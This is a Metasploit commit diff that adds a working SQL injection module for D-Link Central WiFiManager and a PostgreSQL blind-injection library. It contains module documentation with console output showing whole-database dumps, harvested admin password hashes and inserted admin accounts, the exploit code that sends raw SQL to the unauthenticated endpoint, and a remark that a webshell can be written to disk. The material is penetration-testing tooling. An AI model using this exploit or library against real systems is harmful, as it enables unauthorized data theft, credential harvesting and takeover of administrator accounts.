Land #14067, [GSoC] Module for CVE-2019-13375, and PostgreSQL support for the library
This commit is contained in:
commit
dbce3982fd
|
@ -0,0 +1,180 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in Dlink Central
|
||||
WifiManager (CWM-100), found in versions lower than
|
||||
v1.03R0100_BETA6, allowing unauthenticated users to
|
||||
execute arbitary SQL queries.
|
||||
|
||||
This module has 3 actions:
|
||||
|
||||
| Action | Description |
|
||||
| ------------- | -------------------------- |
|
||||
| SQLI_DUMP | Data retrieval* |
|
||||
| ADD_ADMIN | Creation of an admin user |
|
||||
| REMOVE_ADMIN | Removal of an admin user |
|
||||
|
||||
\* : each table is saved in the loot directory in CSV format, credentials (password hashes) are saved as
|
||||
creds for future cracking.
|
||||
|
||||
Has been tested with 1.03r098.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Download the vulnerable software, and install it
|
||||
- Run the vulnerable software, downloadable from
|
||||
[here](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117).
|
||||
- direct download link:
|
||||
`ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip
|
||||
2. Reproduction steps
|
||||
- Run `msfconsole`
|
||||
- set rhosts ...
|
||||
- set action ...
|
||||
- `check` or `exploit`
|
||||
- should work as in the scenarios below
|
||||
|
||||
## Actions
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions
|
||||
|
||||
Auxiliary actions:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ADD_ADMIN Add an administrator user
|
||||
REMOVE_ADMIN Remove a user
|
||||
SQLI_DUMP Retrieve all the data from the database
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options
|
||||
|
||||
Module options (auxiliary/sqli/dlink/dlink_central_wifimanager_sqli):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Admin_Password anything no The password of the user to add/edit
|
||||
Admin_Username red0xff no The username of the user to add/remove
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.223 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to DLink CWM-100
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module has both `check` and `run` functions.
|
||||
|
||||
### Retrieving all the data from the database
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP
|
||||
action => SQLI_DUMP
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223
|
||||
rhosts => 192.168.1.223
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check
|
||||
|
||||
[+] 192.168.1.223:443 - The target is vulnerable.
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||
[*] Running module against 192.168.1.223
|
||||
|
||||
[+] Target seems vulnerable
|
||||
[+] DBMS version: PostgreSQL 9.1.0, compiled by Visual C++ build 1500, 32-bit
|
||||
[*] Enumerating tables
|
||||
[+] grouptossltable saved to /home/redouane/.msf4/loot/20200828180148_default_192.168.1.223_dlink.http_187571.csv
|
||||
[+] paypalsettingtable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_642251.csv
|
||||
[+] ordertable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_944954.csv
|
||||
|
||||
...
|
||||
|
||||
[+] tempstationtable saved to /home/redouane/.msf4/loot/20200828180505_default_192.168.1.223_dlink.http_577215.csv
|
||||
[+] Saved credentials for admin
|
||||
[+] Saved credentials for red0xff
|
||||
[+] usertable saved to /home/redouane/.msf4/loot/20200828180153_default_192.168.1.223_dlink.http_608945.csv
|
||||
|
||||
...
|
||||
|
||||
[+] devicesnmpsecuritytable saved to /home/redouane/.msf4/loot/20200828180154_default_192.168.1.223_dlink.http_825556.csv
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.1.223 admin 21232f297a57a5a743894a0e4a801fc3 Nonreplayable hash raw-md5
|
||||
192.168.1.223 red0xff f0e166dc34d14d6c228ffac576c9a43c Nonreplayable hash raw-md5
|
||||
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.1.223 dlink.http biggrouptable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_360290.csv
|
||||
192.168.1.223 dlink.http devicetable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_230830.csv
|
||||
|
||||
...
|
||||
|
||||
ult_192.168.1.223_dlink.http_878195.csv
|
||||
192.168.1.223 dlink.http devicesnmpsecuritytable.csv application/csv /home/redouane/.msf4/loot/20200828180506_default_192.168.1.223_dlink.http_086271.csv
|
||||
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||
```
|
||||
|
||||
### Adding an admin user/changing the password of a user
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN
|
||||
action => ADD_ADMIN
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin
|
||||
Admin_Username => msfadmin
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin
|
||||
Admin_Password => msfadmin
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||
[*] Running module against 192.168.1.223
|
||||
|
||||
[+] Target seems vulnerable
|
||||
[*] User not found on the target, inserting
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword
|
||||
Admin_Password => msfpassword
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||
[*] Running module against 192.168.1.223
|
||||
|
||||
[*] Trying to detect installed version
|
||||
[+] Target seems vulnerable
|
||||
[*] User already exists, updating the password
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||
```
|
||||
|
||||
### Deleting an administrator user
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN
|
||||
action => REMOVE_USER
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff
|
||||
Admin_Username => red0xff
|
||||
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||
[*] Running module against 192.168.1.223
|
||||
|
||||
[+] Target seems vulnerable
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Going further
|
||||
|
||||
It is possible to upload arbitary files to the target system using queries of the form
|
||||
(copy ... to ...), but using full paths, the attacker must know the path of the webroot
|
||||
to upload a webshell this way.
|
|
@ -0,0 +1,9 @@
|
|||
#
|
||||
# PostgreSQL injection
|
||||
#
|
||||
module Msf::Exploit::SQLi::PostgreSQLi
|
||||
end
|
||||
|
||||
require 'msf/core/exploit/sqli/postgresqli/common'
|
||||
require 'msf/core/exploit/sqli/postgresqli/boolean_based_blind'
|
||||
require 'msf/core/exploit/sqli/postgresqli/time_based_blind'
|
|
@ -0,0 +1,18 @@
|
|||
#
|
||||
# Boolean-Based Blind SQL injection support for PostgreSQL
|
||||
#
|
||||
class Msf::Exploit::SQLi::PostgreSQLi::BooleanBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
|
||||
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
|
||||
# the values returned by the bloc for some boolean queries are correct.
|
||||
# @return [Boolean] Whether the check determined that boolean-based blind SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
out_true = blind_request('1=1')
|
||||
out_false = blind_request('1=2')
|
||||
out_true && !out_false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,325 @@
|
|||
require 'base64'
|
||||
|
||||
#
|
||||
# This class represents a PostgreSQL Injection object, its primary purpose is to provide the common SQL queries
|
||||
# needed when performing SQL injection.
|
||||
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
|
||||
#
|
||||
module Msf::Exploit::SQLi::PostgreSQLi
|
||||
class Common < Msf::Exploit::SQLi::Common
|
||||
#
|
||||
# Encoders supported by PostgreSQL
|
||||
# Keys are function names, values are decoding procs in Ruby
|
||||
#
|
||||
ENCODERS = {
|
||||
base64: {
|
||||
encode: 'encode(^DATA^::bytea, \'base64\')',
|
||||
decode: proc { |data| Base64.decode64(data) }
|
||||
},
|
||||
hex: {
|
||||
encode: 'encode(^DATA^::bytea, \'hex\')',
|
||||
decode: proc { |data| Rex::Text.hex_to_raw(data) }
|
||||
}
|
||||
}.freeze
|
||||
|
||||
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
|
||||
#
|
||||
# See SQLi::Common#initialize
|
||||
#
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
|
||||
# if it's a String or a Symbol, use a predefined encoder if it exists
|
||||
opts[:encoder] = opts[:encoder].downcase.intern
|
||||
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
|
||||
end
|
||||
opts[:concat_separator] ||= ','
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Query the PostgreSQL version
|
||||
# @return [String] The PostgreSQL version in use
|
||||
#
|
||||
def version
|
||||
call_function('version()')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the current database name
|
||||
# @return [String] The name of the current database
|
||||
#
|
||||
def current_database
|
||||
call_function('current_database()')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the current user
|
||||
# @return [String] The username of the current user
|
||||
#
|
||||
def current_user
|
||||
call_function('getpgusername()')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of all the existing databases
|
||||
# @return [Array] An array of Strings, the database names
|
||||
#
|
||||
def enum_database_names
|
||||
dump_table_fields('pg_database', %w[datname]).flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of the tables in a given database
|
||||
# @param database [String] the name of a database, or a function call, defaults to public
|
||||
# @return [Array] An array of Strings, the table names in the given database
|
||||
#
|
||||
def enum_table_names(database = 'public')
|
||||
dump_table_fields('information_schema.tables', %w[table_name],
|
||||
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of the views in the given database
|
||||
# @param database [String] The name of a database, or a function call, defaults to public
|
||||
# @return [Array] An array of Strings, the view names in the given database
|
||||
#
|
||||
def enum_view_names(database = 'public')
|
||||
dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the PostgreSQL users (their username and password), this might require elevated privileges.
|
||||
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and hashed password
|
||||
#
|
||||
def enum_dbms_users
|
||||
# might require elevated privileges
|
||||
dump_table_fields('pg_shadow', %w[usename passwd])
|
||||
end
|
||||
|
||||
#
|
||||
# Query the column names of the given table in the given database
|
||||
# @param table_name [String] the name of the table of which you want to query the column names
|
||||
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
|
||||
#
|
||||
def enum_table_columns(table_name)
|
||||
if table_name.include?('.')
|
||||
database, table_name = table_name.split('.')
|
||||
else
|
||||
database = 'public' # or current_database() ?
|
||||
end
|
||||
dump_table_fields('information_schema.columns', %w[column_name],
|
||||
"table_name='#{table_name}' and " \
|
||||
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the given columns of the records of the given table, that satisfy an optional condition
|
||||
# @param table [String] The name of the table to query
|
||||
# @param columns [Array] The names of the columns to query
|
||||
# @param condition [String] An optional condition, return only the rows satisfying it
|
||||
# @param limit [Integer] An optional maximum number of results to return
|
||||
# @return [Array] An array, where each element is an array of strings representing a row of the results
|
||||
#
|
||||
def dump_table_fields(table, columns, condition = '', num_limit = 0)
|
||||
return '' if columns.empty?
|
||||
|
||||
one_column = columns.length == 1
|
||||
if one_column
|
||||
columns = "coalesce(#{columns.first}::text,'#{@null_replacement}')"
|
||||
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
|
||||
else
|
||||
columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
|
||||
col = "coalesce(#{col}::text,'#{@null_replacement}')"
|
||||
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
|
||||
end.join(',') + ')'
|
||||
end
|
||||
unless condition.empty?
|
||||
condition = ' where ' + condition
|
||||
end
|
||||
num_limit = num_limit.to_i
|
||||
limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
|
||||
retrieved_data = nil
|
||||
if @safe
|
||||
# no group_concat, leak one row at a time
|
||||
row_count = run_sql("select count(1)::text from #{table}#{condition}").to_i
|
||||
num_limit = row_count if num_limit == 0 || row_count < num_limit
|
||||
retrieved_data = num_limit.times.map do |current_row|
|
||||
if @truncation_length
|
||||
truncated_query("select substr(#{columns}::text,^OFFSET^,#{@truncation_length}) from " \
|
||||
"#{table}#{condition} limit 1 offset #{current_row}")
|
||||
else
|
||||
run_sql("select #{columns}::text from #{table}#{condition} limit 1 offset #{current_row}")
|
||||
end
|
||||
end
|
||||
else
|
||||
# if limit > 0, an alias will be necessary
|
||||
if num_limit > 0
|
||||
alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
|
||||
if @truncation_length
|
||||
retrieved_data = truncated_query('select substr(string_agg(' \
|
||||
"#{alias1}, '#{@concat_separator}'),"\
|
||||
"^OFFSET^,#{@truncation_length}) from (select #{columns}::text #{alias1} from #{table}"\
|
||||
"#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||
else
|
||||
retrieved_data = run_sql("select string_agg(#{alias1}, '#{@concat_separator}')"\
|
||||
" from (select #{columns}::text #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||
end
|
||||
else
|
||||
if @truncation_length
|
||||
retrieved_data = truncated_query('select substr(string_agg(' \
|
||||
"#{columns}::text, '#{@concat_separator}')," \
|
||||
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
|
||||
else
|
||||
retrieved_data = run_sql("select string_agg(#{columns}::text, '#{@concat_separator}')" \
|
||||
" from #{table}#{condition}#{limit}").split(@concat_separator || ',')
|
||||
end
|
||||
end
|
||||
end
|
||||
retrieved_data.map do |row|
|
||||
row = row.split(@second_concat_separator)
|
||||
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the SQL injection is working, by checking that
|
||||
# queries that should return known results return the results we expect from them
|
||||
# @return [Boolean] Whether the check determined that the injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
|
||||
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
|
||||
run_sql("select '#{random_string}'") == random_string
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to a file on the target system
|
||||
# @param fname [String] The full-path to the file where data will be written
|
||||
# @param data [String] The data to write
|
||||
# @return [void]
|
||||
#
|
||||
def write_to_file(fname, data)
|
||||
raw_run_sql("copy (select '#{data}') to '#{fname}'")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Helper method used in cases where the response is truncated.
|
||||
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
|
||||
# @return [String] The query result
|
||||
#
|
||||
def truncated_query(query)
|
||||
result = [ ]
|
||||
offset = 1
|
||||
loop do
|
||||
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
|
||||
offset += @truncation_length # should be same as @truncation_length for most cases
|
||||
result << slice
|
||||
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
|
||||
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
|
||||
break if slice.length < @truncation_length
|
||||
end
|
||||
result.join
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the options specific to PostgreSQL
|
||||
# @return [void]
|
||||
#
|
||||
def check_opts(opts)
|
||||
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
|
||||
raise ArgumentError, 'Unsupported encoder'
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the output of a PostgreSQL function call
|
||||
# @param function [String] The function call, function_name(arguments...)
|
||||
# @return [String] What the function call returns
|
||||
#
|
||||
def call_function(function)
|
||||
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
|
||||
output = nil
|
||||
if @truncation_length
|
||||
output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
|
||||
else
|
||||
output = run_sql("select #{function}")
|
||||
end
|
||||
output = @encoder[:decode].call(output) if @encoder
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the length of the data that query should return, this is used in blind SQL injections
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||
# @return [Integer] The length of the data that query should return
|
||||
#
|
||||
def blind_detect_length(query, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
if_function = '1=(case when ' + if_function
|
||||
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
|
||||
end
|
||||
i = 0
|
||||
output_length = 0
|
||||
loop do
|
||||
output_bit = blind_request("#{if_function}length((#{query})::bytea)&#{1 << i}<>0#{sleep_part}")
|
||||
output_length |= (1 << i) if output_bit
|
||||
i += 1
|
||||
stop = blind_request("#{if_function}length((#{query})::bytea)/#{1 << i}=0#{sleep_part}")
|
||||
break if stop
|
||||
end
|
||||
output_length
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
|
||||
# @param query [String] The SQL query the user wants to execute
|
||||
# @param length [Integer] The expected length of the output of the result of the SQL query
|
||||
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
|
||||
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
|
||||
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||
# @return [String] The query result
|
||||
#
|
||||
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
if_function = '1=(case when ' + if_function
|
||||
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
|
||||
end
|
||||
output = length.times.map do |j|
|
||||
current_character = known_bits
|
||||
bits_to_guess.times do |k|
|
||||
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
|
||||
output_bit = blind_request("#{if_function}get_bit((#{query})::bytea, #{j * 8 + k})<>0#{sleep_part}")
|
||||
current_character |= (1 << k) if output_bit
|
||||
end
|
||||
current_character.chr
|
||||
end.join
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Encodes strings in the query string as hexadecimal numbers
|
||||
# @param query [String] an SQL query
|
||||
# @return [String] The input query, where strings are replaced by hex sequences
|
||||
#
|
||||
def hex_encode_strings(query)
|
||||
# for more encoding capabilities, run code at the beginning of your block
|
||||
# known issue: escaped quotes, \', detected as being string terminators
|
||||
query.gsub(/'[^']*?'/) do |match|
|
||||
if match.length == 2
|
||||
%w[left right].sample + "(chr(#{rand(1..255)}),0)"
|
||||
else
|
||||
match[1..-2].each_codepoint.map { |c| "chr(#{c})" }.join('||')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,18 @@
|
|||
#
|
||||
# Time-Based Blind SQL injection support for PostgreSQL
|
||||
#
|
||||
class Msf::Exploit::SQLi::PostgreSQLi::TimeBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
|
||||
include Msf::Exploit::SQLi::TimeBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind time-based injection by checking if
|
||||
# the target sleeps only when a given condition is true, and doesn't when it's false.
|
||||
# @return [Boolean] Whether the check confirmed that the time-based SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
out_true = blind_request("1=(case when 1=1 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
|
||||
out_false = blind_request("1=(case when 1=2 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
|
||||
out_true && !out_false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,184 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'csv'
|
||||
require 'digest'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'D-Link Central WiFiManager SQL injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQLi vulnerability found in
|
||||
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
|
||||
vulnerability is an exposed API endpoint that allows the execution
|
||||
of SQL queries without authentication, using this vulnerability, it's
|
||||
possible to retrieve usernames and password hashes of registered users,
|
||||
device configuration, and other data, it's also possible to add users,
|
||||
or edit database informations.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'M3@ZionLab from DBAppSecurity',
|
||||
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-13373'],
|
||||
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'SQLI_DUMP', 'Description' => 'Retrieve all the data from the database' ],
|
||||
[ 'ADD_ADMIN', 'Description' => 'Add an administrator user' ],
|
||||
[ 'REMOVE_ADMIN', 'Description' => 'Remove an administrator user' ]
|
||||
],
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'DefaultAction' => 'SQLI_DUMP',
|
||||
'DisclosureDate' => 'Jul 06 2019'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
|
||||
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
|
||||
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def vulnerable_request(payload)
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
|
||||
'vars_post' => {
|
||||
'dbAction' => 'S',
|
||||
'dbSQL' => payload
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
check_error = nil
|
||||
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
|
||||
res = vulnerable_request(payload)
|
||||
if res && res.code == 200
|
||||
res.body[%r{<column>(.+)</column>}m, 1] || ''
|
||||
else
|
||||
if res
|
||||
check_error = Exploit::CheckCode::Safe
|
||||
else
|
||||
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
|
||||
end
|
||||
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
|
||||
end
|
||||
end
|
||||
vulnerable_test = sqli.test_vulnerable
|
||||
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
|
||||
end
|
||||
|
||||
def dump_data(sqli)
|
||||
print_good "DBMS version: #{sqli.version}"
|
||||
table_names = sqli.enum_table_names
|
||||
print_status 'Enumerating tables'
|
||||
table_names.each do |table_name|
|
||||
cols = sqli.enum_table_columns(table_name)
|
||||
vprint_good "#{table_name}(#{cols.join(',')})"
|
||||
# retrieve the data from the table
|
||||
content = sqli.dump_table_fields(table_name, cols)
|
||||
# store hashes as credentials
|
||||
if table_name == 'usertable'
|
||||
user_ind = cols.index('username')
|
||||
pass_ind = cols.index('userpassword')
|
||||
content.each do |entry|
|
||||
create_credential(
|
||||
{
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id,
|
||||
username: entry[user_ind],
|
||||
private_data: entry[pass_ind],
|
||||
jtr_format: 'raw-md5',
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
)
|
||||
print_good "Saved credentials for #{entry[user_ind]}"
|
||||
end
|
||||
end
|
||||
path = store_loot(
|
||||
'dlink.http',
|
||||
'application/csv',
|
||||
rhost,
|
||||
cols.to_csv + content.map(&:to_csv).join,
|
||||
"#{table_name}.csv"
|
||||
)
|
||||
print_good "#{table_name} saved to #{path}"
|
||||
end
|
||||
end
|
||||
|
||||
def check_admin_username
|
||||
if datastore['USERNAME'].nil?
|
||||
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
|
||||
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
|
||||
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
|
||||
end
|
||||
end
|
||||
|
||||
def add_user(sqli)
|
||||
check_admin_username
|
||||
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
|
||||
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
|
||||
# check if user exists, if yes, just change his password
|
||||
if sqli.run_sql(user_exists_sql).to_i == 0
|
||||
print_status 'User not found on the target, inserting'
|
||||
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
|
||||
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
|
||||
else
|
||||
print_status 'User already exists, updating the password'
|
||||
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
|
||||
"username='#{datastore['USERNAME']}'")
|
||||
end
|
||||
end
|
||||
|
||||
def remove_user(sqli)
|
||||
check_admin_username
|
||||
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
|
||||
end
|
||||
|
||||
def run
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
print_error 'Target does not seem to be vulnerable'
|
||||
return
|
||||
end
|
||||
print_good 'Target seems vulnerable'
|
||||
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
|
||||
res = vulnerable_request(payload)
|
||||
if res && res.code == 200
|
||||
res.body[%r{<column>(.+)</column>}m, 1] || ''
|
||||
else
|
||||
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
|
||||
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
|
||||
end
|
||||
end
|
||||
case action.name
|
||||
when 'SQLI_DUMP'
|
||||
dump_data(sqli)
|
||||
when 'ADD_ADMIN'
|
||||
add_user(sqli)
|
||||
when 'REMOVE_ADMIN'
|
||||
remove_user(sqli)
|
||||
else
|
||||
fail_with(Failure::BadConfig, "#{action.name} not defined")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,125 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'socket'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::SQLi
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'PostgreSQL injection testing module',
|
||||
'Description' => '
|
||||
This module tests the SQL injection library against the PostgreSQL database management system
|
||||
',
|
||||
'Author' =>
|
||||
[
|
||||
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'References' =>
|
||||
['URL', 'https://github.com/red0xff/sqli_vulnerable/tree/main/postgresql'],
|
||||
'Targets' => [['Wildcard Target', {}]],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST('127.0.0.1'),
|
||||
OptInt.new('RPORT', [true, 'The target port', 1337]),
